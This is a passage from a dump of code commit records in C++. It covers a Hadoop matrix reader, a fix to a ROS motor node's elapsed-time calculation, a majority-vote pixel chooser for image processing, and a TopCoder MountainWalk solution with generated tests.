non-double-convertable type\\n\",\n\t\t     num_total_rows_, row.size());\n      }\n    }\n    break;\n  case TypedBytesByteSequence:\n    len = in_.read_byte_sequence_length();\n    row.resize((size_t) len \/ sizeof(double));\n    in_.read_byte_sequence((unsigned char *) &row[0], len);\n    break;\n  case TypedBytesList:\n    hadoop_message(\"TypedBytesList!\\n\");\n    nexttype = in_.next_type();\n    while (nexttype != TypedBytesListEnd) {\n      if (in_.can_be_double(nexttype)) {\n\trow.push_back(in_.convert_double());\n      } else {\n\thadoop_message(\"row has a non-double-convertable type!!\\n\");\n\thadoop_error(\"row %zi, col %zi has a non-double-convertable type\\n\",\n\t\t     num_total_rows_, row.size());\n      }\n      nexttype = in_.next_type();\n    }\n    break;\n  case TypedBytesString:\n    len = in_.read_string_length();\n    row.resize(len \/ 8);\n    in_.read_string_data((unsigned char *) &row[0], (size_t) len);\n    break;\n  default:\n    hadoop_error(\"row %zi is an unknown type (code is: %d)\\n\",\n\t\t num_total_rows_, code);\n  }\n}\n\nbool MatrixHandler::read_key_val_pair(typedbytes_opaque& key,\n\t\t\t\t      std::vector<double>& value) {\n  if (!in_.read_opaque(key)) {\n    return false;\n  }\n  read_full_row(value); \n  return true;\n}\n\nvoid MatrixHandler::mapper() {\n  std::vector<double> row;\n  first_row();\n  while (!feof(in_.get_stream())) {\n    typedbytes_opaque key;\n    if (!read_key_val_pair(key, row)) {\n      if (feof(in_.get_stream())) {\n\tbreak;\n      } else {\n\thadoop_error(\"invalid key: row %i\\n\", num_total_rows_);\n      }\n    }\n    collect(key, row);\n  }\n  hadoop_status(\"final output\");\n  output();\n}\n    \n\/\/ Allocate the local matrix and set to zero\nvoid MatrixHandler::alloc(size_t num_rows, size_t num_cols) {\n  local_matrix_.resize(num_rows * num_cols);\n  for (size_t i = 0; i < num_rows * num_cols; ++i) {\n    local_matrix_[i] = 0.;\n  }\n  num_rows_ = num_rows;\n  num_cols_ = num_cols;\n  num_local_rows_ = 0;\n}    \n    \n\/\/ Handle the first input row.  We use the first row to gather data\n\/\/ about the matrix.\nvoid MatrixHandler::first_row() {\n  typedbytes_opaque key;\n  std::vector<double> row;\n  read_key_val_pair(key, row);\n  \/\/ TODO(arbenson) check for error here\n  num_cols_ = row.size();\n  hadoop_message(\"matrix size: %zi columns, up to %i localrows\\n\", \n\t\t num_cols_, blocksize_ * num_cols_);\n  if (num_cols_ == 0) {\n    hadoop_message(\"no data received on this task\\n\");\n    return;\n  }\n  alloc(blocksize_ * num_cols_, num_cols_);\n  add_row(row);\n}\n    \n\/\/ read in a row and add it to the local matrix\nvoid MatrixHandler::add_row(const std::vector<double>& row) {\n  assert(row.size() == num_cols_);\n  assert(num_local_rows_ < num_rows_);\n  \/\/ store by column\n  for (size_t k = 0; k < rows_per_record_; ++k) {\n    size_t i = 0;\n    for (size_t j = 0; j < num_cols_; ++j) {\n      local_matrix_[num_local_rows_ + j * num_rows_] = row[i];\n      ++i;\n    }\n    \/\/ increment the number of local rows\n    ++num_local_rows_;\n    ++num_total_rows_;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\nCopyright (c) 2016, Ubiquity Robotics\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and\/or other materials provided with the distribution.\n\n* Neither the name of ubiquity_motor nor the names of its\n  contributors may be used to endorse or promote products derived from\n  this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n**\/\n\n#include <dynamic_reconfigure\/server.h>\n#include <ros\/ros.h>\n#include <time.h>\n#include <ubiquity_motor\/PIDConfig.h>\n#include <ubiquity_motor\/motor_hardware.h>\n#include <ubiquity_motor\/motor_message.h>\n#include <ubiquity_motor\/motor_parmeters.h>\n#include <boost\/thread.hpp>\n#include <string>\n#include \"controller_manager\/controller_manager.h\"\n\nstatic const double BILLION = 1000000000.0;\n\nstatic FirmwareParams firmware_params;\nstatic CommsParams serial_params;\nstatic NodeParams node_params;\n\nvoid PID_update_callback(const ubiquity_motor::PIDConfig& config,\n                         uint32_t level) {\n    if (level == 1) {\n        firmware_params.pid_proportional = config.PID_P;\n    } else if (level == 2) {\n        firmware_params.pid_integral = config.PID_I;\n    } else if (level == 4) {\n        firmware_params.pid_derivative = config.PID_D;\n    } else if (level == 8) {\n        firmware_params.pid_denominator = config.PID_C;\n    } else if (level == 16) {\n        firmware_params.pid_moving_buffer_size = config.PID_W;\n    } else {\n        ROS_ERROR(\"Unsupported dynamic_reconfigure level %u\", level);\n    }\n}\n\nint main(int argc, char* argv[]) {\n    ros::init(argc, argv, \"motor_node\");\n    ros::NodeHandle nh;\n\n    firmware_params = FirmwareParams(nh);\n    serial_params = CommsParams(nh);\n    node_params = NodeParams(nh);\n\n    MotorHardware robot(nh, serial_params, firmware_params);\n    controller_manager::ControllerManager cm(&robot, nh);\n\n    ros::AsyncSpinner spinner(1);\n    spinner.start();\n\n    dynamic_reconfigure::Server<ubiquity_motor::PIDConfig> server;\n    dynamic_reconfigure::Server<ubiquity_motor::PIDConfig>::CallbackType f;\n\n    f = boost::bind(&PID_update_callback, _1, _2);\n    server.setCallback(f);\n\n    robot.setParams(firmware_params);\n\n    ros::Rate r(node_params.controller_loop_rate);\n    robot.requestVersion();\n\n    int times = 0;\n    while (robot.firmware_version == 0) {\n        if (times >= 10)\n            throw std::runtime_error(\"Firmware not reporting its version\");\n        robot.readInputs();\n        r.sleep();\n        times++;\n    }\n\n    ros::Time last_time;\n    ros::Time current_time;\n    ros::Duration elapsed;\n    last_time = ros::Time::now();\n\n    for (int i = 0; i < 5; i++) {\n        r.sleep();\n        robot.sendParams();\n    }\n\n    while (ros::ok()) {\n        current_time = ros::Time::now();\n        elapsed = last_time - current_time;\n        last_time = current_time;\n        robot.readInputs();\n        cm.update(ros::Time::now(), elapsed);\n        robot.setParams(firmware_params);\n        robot.sendParams();\n        robot.writeSpeeds();\n\n        r.sleep();\n    }\n\n    return 0;\n}\n<commit_msg>Fix computaion of elapsed time so that it is +ve<commit_after>\/**\nCopyright (c) 2016, Ubiquity Robotics\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and\/or other materials provided with the distribution.\n\n* Neither the name of ubiquity_motor nor the names of its\n  contributors may be used to endorse or promote products derived from\n  this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n**\/\n\n#include <dynamic_reconfigure\/server.h>\n#include <ros\/ros.h>\n#include <time.h>\n#include <ubiquity_motor\/PIDConfig.h>\n#include <ubiquity_motor\/motor_hardware.h>\n#include <ubiquity_motor\/motor_message.h>\n#include <ubiquity_motor\/motor_parmeters.h>\n#include <boost\/thread.hpp>\n#include <string>\n#include \"controller_manager\/controller_manager.h\"\n\nstatic const double BILLION = 1000000000.0;\n\nstatic FirmwareParams firmware_params;\nstatic CommsParams serial_params;\nstatic NodeParams node_params;\n\nvoid PID_update_callback(const ubiquity_motor::PIDConfig& config,\n                         uint32_t level) {\n    if (level == 1) {\n        firmware_params.pid_proportional = config.PID_P;\n    } else if (level == 2) {\n        firmware_params.pid_integral = config.PID_I;\n    } else if (level == 4) {\n        firmware_params.pid_derivative = config.PID_D;\n    } else if (level == 8) {\n        firmware_params.pid_denominator = config.PID_C;\n    } else if (level == 16) {\n        firmware_params.pid_moving_buffer_size = config.PID_W;\n    } else {\n        ROS_ERROR(\"Unsupported dynamic_reconfigure level %u\", level);\n    }\n}\n\nint main(int argc, char* argv[]) {\n    ros::init(argc, argv, \"motor_node\");\n    ros::NodeHandle nh;\n\n    firmware_params = FirmwareParams(nh);\n    serial_params = CommsParams(nh);\n    node_params = NodeParams(nh);\n\n    MotorHardware robot(nh, serial_params, firmware_params);\n    controller_manager::ControllerManager cm(&robot, nh);\n\n    ros::AsyncSpinner spinner(1);\n    spinner.start();\n\n    dynamic_reconfigure::Server<ubiquity_motor::PIDConfig> server;\n    dynamic_reconfigure::Server<ubiquity_motor::PIDConfig>::CallbackType f;\n\n    f = boost::bind(&PID_update_callback, _1, _2);\n    server.setCallback(f);\n\n    robot.setParams(firmware_params);\n\n    ros::Rate r(node_params.controller_loop_rate);\n    robot.requestVersion();\n\n    int times = 0;\n    while (robot.firmware_version == 0) {\n        if (times >= 10)\n            throw std::runtime_error(\"Firmware not reporting its version\");\n        robot.readInputs();\n        r.sleep();\n        times++;\n    }\n\n    ros::Time last_time;\n    ros::Time current_time;\n    ros::Duration elapsed;\n    last_time = ros::Time::now();\n\n    for (int i = 0; i < 5; i++) {\n        r.sleep();\n        robot.sendParams();\n    }\n\n    while (ros::ok()) {\n        current_time = ros::Time::now();\n        elapsed = current_time - last_time;\n        last_time = current_time;\n        robot.readInputs();\n        cm.update(ros::Time::now(), elapsed);\n        robot.setParams(firmware_params);\n        robot.sendParams();\n        robot.writeSpeeds();\n\n        r.sleep();\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"process.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Includes \/\/\n#include \"image.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\n\/\/ Code \/\/\n\n\/\/ Verifying the validity of a set of images.\nbool validateImages(int count, Image** imgs) {\n    for (int i = 1; i < count; i++) {\n        if (imgs[i - 1]->width    != imgs[i]->width  ||\n            imgs[i - 1]->height   != imgs[i]->height ||\n            imgs[i - 1]->maxValue != imgs[i]->maxValue)\n            return false;\n    }\n    return true;\n}\n\n\/\/ Getting a single pixel at a given index of every image.\nPixel* getPixelsAt(int count, Image** imgs, int index) {\n    Pixel* pixels = new Pixel[count];\n    for (int i = 0; i < count; i++)\n        pixels[i] = imgs[i]->pixels[index];\n    return pixels;\n}\n\nPixel choosePixel(int count, Pixel* pixels) {\n    \/\/ TODO: Develop a consensus.\n    Pixel p;\n    return p;\n}\n\n\/\/ Processing a set of images.\nImage* processImages(int count, Image** imgs) {\n    if (!validateImages(count, imgs))\n        return nullptr;\n\n    int length = imgs[0]->width * imgs[0]->height;\n    Pixel* finalPixels = new Pixel[length];\n    Pixel* pixels;\n\n    for (int i = 0; i < length; i++) {\n        pixels = getPixelsAt(count, imgs, i);\n        finalPixels[i] = choosePixel(count, pixels);\n        delete[] pixels;\n    }\n\n    return new Image(finalPixels,\n                     imgs[0]->width,\n                     imgs[0]->height,\n                     imgs[0]->maxValue);\n}\n<commit_msg>made the thing work.<commit_after>#include \"process.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Includes \/\/\n#include \"image.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\n\/\/ Code \/\/\n\n\/\/ Verifying the validity of a set of images.\nbool validateImages(int count, Image** imgs) {\n    for (int i = 1; i < count; i++) {\n        if (imgs[i - 1]->width    != imgs[i]->width  ||\n            imgs[i - 1]->height   != imgs[i]->height ||\n            imgs[i - 1]->maxValue != imgs[i]->maxValue)\n            return false;\n    }\n    return true;\n}\n\n\/\/ Getting a single pixel at a given index of every image.\nPixel* getPixelsAt(int count, Image** imgs, int index) {\n    Pixel* pixels = new Pixel[count];\n    for (int i = 0; i < count; i++)\n        pixels[i] = imgs[i]->pixels[index];\n    return pixels;\n}\n\n\/\/ Choosing a pixel from a vector of pixels.\nPixel choosePixel(int count, Pixel* pixels) {\n    int n = 0;\n\n    Pixel ips[] = {\n        Pixel(0, 0, 0),\n        Pixel(0, 0, 0)\n    };\n\n    for (int i = 0; i < count; i++) {\n        if (n == 0)\n            ips[1] = pixels[i];\n\n        if (pixels[i] == ips[1])\n            n++;\n        else\n            n--;\n    }\n\n    n = 0;\n    for (int i = 0; i < count; i++)\n        if (pixels[i] == ips[1])\n            n++;\n\n    if (n > count \/ 2)\n        return ips[1];\n    return ips[0];\n}\n\n\/\/ Processing a set of images.\nImage* processImages(int count, Image** imgs) {\n    if (!validateImages(count, imgs))\n        return nullptr;\n\n    int length = imgs[0]->width * imgs[0]->height;\n    Pixel* finalPixels = new Pixel[length];\n    Pixel* pixels;\n\n    for (int i = 0; i < length; i++) {\n        pixels = getPixelsAt(count, imgs, i);\n        finalPixels[i] = choosePixel(count, pixels);\n        delete[] pixels;\n    }\n\n    return new Image(finalPixels,\n                     imgs[0]->width,\n                     imgs[0]->height,\n                     imgs[0]->maxValue);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <string>\n#include <vector>\n#include <list>\n#include <map>\n#include <set>\n#include <deque>\n#include <stack>\n#include <bitset>\n#include <algorithm>\n#include <functional>\n#include <numeric>\n#include <utility>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <cstdio>\n#include <cmath>\n#include <cstdlib>\n#include <ctime>\n#include <iterator>\n#include <tuple>\n#include <regex>\n#include <array>\n#include <valarray>\n#define all(v)begin(v),end(v)\n#define dump(v)copy(all(v),ostream_iterator<decltype(*v.begin())>(cout,\"\\n\"))\n#define rg(i,a,b)for(int i=a,i##e=b;i<i##e;++i)\n#define fr(i,n)for(int i=0,i##e=n;i<i##e;++i)\n#define rf(i,n)for(int i=n-1;i>=0;--i)\n#define ei(a,m)for(auto&a:m)if(int a##i=&a-&*begin(m)+1)if(--a##i,1)\n#define sz(v)int(v.size())\n#define sr(v)sort(all(v))\n#define rs(v)sort(all(v),greater<int>())\n#define rev(v)reverse(all(v))\n#define eb emplace_back\n#define stst stringstream\n#define big numeric_limits<int>::max()\n#define g(t,i)get<i>(t)\n#define cb(v,w)copy(all(v),back_inserter(w))\n#define uni(v)sort(all(v));v.erase(unique(all(v)),end(v))\n#define vt(...)vector<tuple<__VA_ARGS__>>\n#define smx(a,b)a=max(a,b)\n#define smn(a,b)a=min(a,b)\n#define words(w,q)vector<string>w;[&w](string&&s){stringstream u(s);string r;while(u>>r)w.eb(r);}(q);\n#define digits(d,n,s)vector<int>d;[&d](int m){while(m)d.eb(m%s),m\/=s;}(n);\ntypedef long long ll;\nusing namespace std;\n\nstruct MountainWalk {\n\tint cellsVisited(vector <string> m, int k) {\n\t\tint x = 0, y = 0;\n\t\tint w = sz(m), h = sz(m[0]);\n\t\tint dx[] = {1, 0, -1, 0}, dy[] = {0, -1, 0, 1};\n\t\tint c = 1;\n\t\tvector<string> t = m;\n\t\tfor (;;) {\n\t\t\tbool f = true;\n\t\t\tfr(i, 4) {\n\t\t\t\tint nx = x + dx[i];\n\t\t\t\tint ny = y + dy[i];\n\t\t\t\tif (0 <= nx && nx < w && 0 <= ny && ny < h && t[nx][ny] != '-' && abs(m[x][y] - m[nx][ny]) <= k) {\n\t\t\t\t\tcout << nx << ' ' << ny << endl;\n\t\t\t\t\tx = nx;\n\t\t\t\t\ty = ny;\n\t\t\t\t\tt[x][y] = '-';\n\t\t\t\t\t++c;\n\t\t\t\t\tf = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (f) break;\n\t\t}\n\t\treturn c;\n\t}\n};\n\n\/\/ BEGIN KAWIGIEDIT TESTING\n\/\/ Generated by KawigiEdit-pf 2.3.0\n#include <iostream>\n#include <string>\n#include <vector>\n#include <ctime>\n#include <cmath>\nusing namespace std;\nbool KawigiEdit_RunTest(int testNum, vector <string> p0, int p1, bool hasAnswer, int p2) {\n\tcout << \"Test \" << testNum << \": [\" << \"{\";\n\tfor (int i = 0; int(p0.size()) > i; ++i) {\n\t\tif (i > 0) {\n\t\t\tcout << \",\";\n\t\t}\n\t\tcout << \"\\\"\" << p0[i] << \"\\\"\";\n\t}\n\tcout << \"}\" << \",\" << p1;\n\tcout << \"]\" << endl;\n\tMountainWalk *obj;\n\tint answer;\n\tobj = new MountainWalk();\n\tclock_t startTime = clock();\n\tanswer = obj->cellsVisited(p0, p1);\n\tclock_t endTime = clock();\n\tdelete obj;\n\tbool res;\n\tres = true;\n\tcout << \"Time: \" << double(endTime - startTime) \/ CLOCKS_PER_SEC << \" seconds\" << endl;\n\tif (hasAnswer) {\n\t\tcout << \"Desired answer:\" << endl;\n\t\tcout << \"\\t\" << p2 << endl;\n\t}\n\tcout << \"Your answer:\" << endl;\n\tcout << \"\\t\" << answer << endl;\n\tif (hasAnswer) {\n\t\tres = answer == p2;\n\t}\n\tif (!res) {\n\t\tcout << \"DOESN'T MATCH!!!!\" << endl;\n\t} else if (double(endTime - startTime) \/ CLOCKS_PER_SEC >= 2) {\n\t\tcout << \"FAIL the timeout\" << endl;\n\t\tres = false;\n\t} else if (hasAnswer) {\n\t\tcout << \"Match :-)\" << endl;\n\t} else {\n\t\tcout << \"OK, but is it right?\" << endl;\n\t}\n\tcout << \"\" << endl;\n\treturn res;\n}\nint main() {\n\tbool all_right;\n\tbool disabled;\n\tbool tests_disabled;\n\tall_right = true;\n\ttests_disabled = false;\n\t\n\tvector <string> p0;\n\tint p1;\n\tint p2;\n\t\n\t\/\/ ----- test 0 -----\n\tdisabled = false;\n\tp0 = {\"056\",\"135\",\"234\"};\n\tp1 = 1;\n\tp2 = 5;\n\tall_right = (disabled || KawigiEdit_RunTest(0, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 1 -----\n\tdisabled = false;\n\tp0 = {\"056\",\"195\",\"234\"};\n\tp1 = 1;\n\tp2 = 8;\n\tall_right = (disabled || KawigiEdit_RunTest(1, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 2 -----\n\tdisabled = false;\n\tp0 = {\"865\",\"123\",\"111\"};\n\tp1 = 3;\n\tp2 = 9;\n\tall_right = (disabled || KawigiEdit_RunTest(2, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 3 -----\n\tdisabled = false;\n\tp0 = {\"00009876543210\",\"00009876543210\",\"00009876543210\",\"00009876543210\"};\n\tp1 = 8;\n\tp2 = 16;\n\tall_right = (disabled || KawigiEdit_RunTest(3, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 4 -----\n\tdisabled = false;\n\tp0 = {\"0000\",\"0000\",\"0000\",\"0000\",\"9999\",\"8888\",\"7777\",\"6666\",\"5555\",\"4444\",\"3333\",\"2222\",\"1111\",\"0000\"};\n\tp1 = 3;\n\tp2 = 16;\n\tall_right = (disabled || KawigiEdit_RunTest(4, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 5 -----\n\tdisabled = false;\n\tp0 = {\"173642855131893831828253420\",\"126290035950506994475683704\",\"381277675415026563959463393\",\"019782700912864681764582260\",\"496448425114634806770407597\",\"049628433145840178727435051\",\"117194708226266248973780562\",\"398138380998246682323622510\",\"408178777661559971959512111\"};\n\tp1 = 8;\n\tp2 = 135;\n\tall_right = (disabled || KawigiEdit_RunTest(5, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 6 -----\n\tdisabled = false;\n\tp0 = {\"9\"};\n\tp1 = 0;\n\tp2 = 1;\n\tall_right = (disabled || KawigiEdit_RunTest(6, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\tif (all_right) {\n\t\tif (tests_disabled) {\n\t\t\tcout << \"You're a stud (but some test cases were disabled)!\" << endl;\n\t\t} else {\n\t\t\tcout << \"You're a stud (at least on given cases)!\" << endl;\n\t\t}\n\t} else {\n\t\tcout << \"Some of the test cases had errors.\" << endl;\n\t}\n\treturn 0;\n}\n\/\/ END KAWIGIEDIT TESTING\n<commit_msg>MountainWalk<commit_after>#include <string>\n#include <vector>\n#include <list>\n#include <map>\n#include <set>\n#include <deque>\n#include <stack>\n#include <bitset>\n#include <algorithm>\n#include <functional>\n#include <numeric>\n#include <utility>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <cstdio>\n#include <cmath>\n#include <cstdlib>\n#include <ctime>\n#include <iterator>\n#include <tuple>\n#include <regex>\n#include <array>\n#include <valarray>\n#define all(v)begin(v),end(v)\n#define dump(v)copy(all(v),ostream_iterator<decltype(*v.begin())>(cout,\"\\n\"))\n#define rg(i,a,b)for(int i=a,i##e=b;i<i##e;++i)\n#define fr(i,n)for(int i=0,i##e=n;i<i##e;++i)\n#define rf(i,n)for(int i=n-1;i>=0;--i)\n#define ei(a,m)for(auto&a:m)if(int a##i=&a-&*begin(m)+1)if(--a##i,1)\n#define sz(v)int(v.size())\n#define sr(v)sort(all(v))\n#define rs(v)sort(all(v),greater<int>())\n#define rev(v)reverse(all(v))\n#define eb emplace_back\n#define stst stringstream\n#define big numeric_limits<int>::max()\n#define g(t,i)get<i>(t)\n#define cb(v,w)copy(all(v),back_inserter(w))\n#define uni(v)sort(all(v));v.erase(unique(all(v)),end(v))\n#define vt(...)vector<tuple<__VA_ARGS__>>\n#define smx(a,b)a=max(a,b)\n#define smn(a,b)a=min(a,b)\n#define words(w,q)vector<string>w;[&w](string&&s){stringstream u(s);string r;while(u>>r)w.eb(r);}(q);\n#define digits(d,n,s)vector<int>d;[&d](int m){while(m)d.eb(m%s),m\/=s;}(n);\ntypedef long long ll;\nusing namespace std;\n\nstruct MountainWalk {\n\tint cellsVisited(vector <string> m, int k) {\n\t\tint x = 0, y = 0;\n\t\tint w = sz(m), h = sz(m[0]);\n\t\tint dx[] = {1, 0, -1, 0}, dy[] = {0, -1, 0, 1};\n\t\tint c = 1;\n\t\tvector<string> t = m;\n\t\tt[0][0] = '-';\n\t\tfor (;;) {\n\t\t\tbool f = true;\n\t\t\tfr(i, 4) {\n\t\t\t\tint nx = x + dx[i];\n\t\t\t\tint ny = y + dy[i];\n\t\t\t\tif (0 <= nx && nx < w && 0 <= ny && ny < h && t[nx][ny] != '-' && abs(m[x][y] - m[nx][ny]) <= k) {\n\t\t\t\t\tcout << nx << ' ' << ny << endl;\n\t\t\t\t\tx = nx;\n\t\t\t\t\ty = ny;\n\t\t\t\t\tt[x][y] = '-';\n\t\t\t\t\t++c;\n\t\t\t\t\tf = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (f) break;\n\t\t}\n\t\treturn c;\n\t}\n};\n\n\/\/ BEGIN KAWIGIEDIT TESTING\n\/\/ Generated by KawigiEdit-pf 2.3.0\n#include <iostream>\n#include <string>\n#include <vector>\n#include <ctime>\n#include <cmath>\nusing namespace std;\nbool KawigiEdit_RunTest(int testNum, vector <string> p0, int p1, bool hasAnswer, int p2) {\n\tcout << \"Test \" << testNum << \": [\" << \"{\";\n\tfor (int i = 0; int(p0.size()) > i; ++i) {\n\t\tif (i > 0) {\n\t\t\tcout << \",\";\n\t\t}\n\t\tcout << \"\\\"\" << p0[i] << \"\\\"\";\n\t}\n\tcout << \"}\" << \",\" << p1;\n\tcout << \"]\" << endl;\n\tMountainWalk *obj;\n\tint answer;\n\tobj = new MountainWalk();\n\tclock_t startTime = clock();\n\tanswer = obj->cellsVisited(p0, p1);\n\tclock_t endTime = clock();\n\tdelete obj;\n\tbool res;\n\tres = true;\n\tcout << \"Time: \" << double(endTime - startTime) \/ CLOCKS_PER_SEC << \" seconds\" << endl;\n\tif (hasAnswer) {\n\t\tcout << \"Desired answer:\" << endl;\n\t\tcout << \"\\t\" << p2 << endl;\n\t}\n\tcout << \"Your answer:\" << endl;\n\tcout << \"\\t\" << answer << endl;\n\tif (hasAnswer) {\n\t\tres = answer == p2;\n\t}\n\tif (!res) {\n\t\tcout << \"DOESN'T MATCH!!!!\" << endl;\n\t} else if (double(endTime - startTime) \/ CLOCKS_PER_SEC >= 2) {\n\t\tcout << \"FAIL the timeout\" << endl;\n\t\tres = false;\n\t} else if (hasAnswer) {\n\t\tcout << \"Match :-)\" << endl;\n\t} else {\n\t\tcout << \"OK, but is it right?\" << endl;\n\t}\n\tcout << \"\" << endl;\n\treturn res;\n}\nint main() {\n\tbool all_right;\n\tbool disabled;\n\tbool tests_disabled;\n\tall_right = true;\n\ttests_disabled = false;\n\t\n\tvector <string> p0;\n\tint p1;\n\tint p2;\n\t\n\t\/\/ ----- test 0 -----\n\tdisabled = false;\n\tp0 = {\"056\",\"135\",\"234\"};\n\tp1 = 1;\n\tp2 = 5;\n\tall_right = (disabled || KawigiEdit_RunTest(0, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 1 -----\n\tdisabled = false;\n\tp0 = {\"056\",\"195\",\"234\"};\n\tp1 = 1;\n\tp2 = 8;\n\tall_right = (disabled || KawigiEdit_RunTest(1, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 2 -----\n\tdisabled = false;\n\tp0 = {\"865\",\"123\",\"111\"};\n\tp1 = 3;\n\tp2 = 9;\n\tall_right = (disabled || KawigiEdit_RunTest(2, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 3 -----\n\tdisabled = false;\n\tp0 = {\"00009876543210\",\"00009876543210\",\"00009876543210\",\"00009876543210\"};\n\tp1 = 8;\n\tp2 = 16;\n\tall_right = (disabled || KawigiEdit_RunTest(3, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 4 -----\n\tdisabled = false;\n\tp0 = {\"0000\",\"0000\",\"0000\",\"0000\",\"9999\",\"8888\",\"7777\",\"6666\",\"5555\",\"4444\",\"3333\",\"2222\",\"1111\",\"0000\"};\n\tp1 = 3;\n\tp2 = 16;\n\tall_right = (disabled || KawigiEdit_RunTest(4, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 5 -----\n\tdisabled = false;\n\tp0 = {\"173642855131893831828253420\",\"126290035950506994475683704\",\"381277675415026563959463393\",\"019782700912864681764582260\",\"496448425114634806770407597\",\"049628433145840178727435051\",\"117194708226266248973780562\",\"398138380998246682323622510\",\"408178777661559971959512111\"};\n\tp1 = 8;\n\tp2 = 135;\n\tall_right = (disabled || KawigiEdit_RunTest(5, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\t\/\/ ----- test 6 -----\n\tdisabled = false;\n\tp0 = {\"9\"};\n\tp1 = 0;\n\tp2 = 1;\n\tall_right = (disabled || KawigiEdit_RunTest(6, p0, p1, true, p2) ) && all_right;\n\ttests_disabled = tests_disabled || disabled;\n\t\/\/ ------------------\n\t\n\tif (all_right) {\n\t\tif (tests_disabled) {\n\t\t\tcout << \"You're a stud (but some test cases were disabled)!\" << endl;\n\t\t} else {\n\t\t\tcout << \"You're a stud (at least on given cases)!\" << endl;\n\t\t}\n\t} else {\n\t\tcout << \"Some of the test cases had errors.\" << endl;\n\t}\n\treturn 0;\n}\n\/\/ END KAWIGIEDIT TESTING\n<|endoftext|>"}
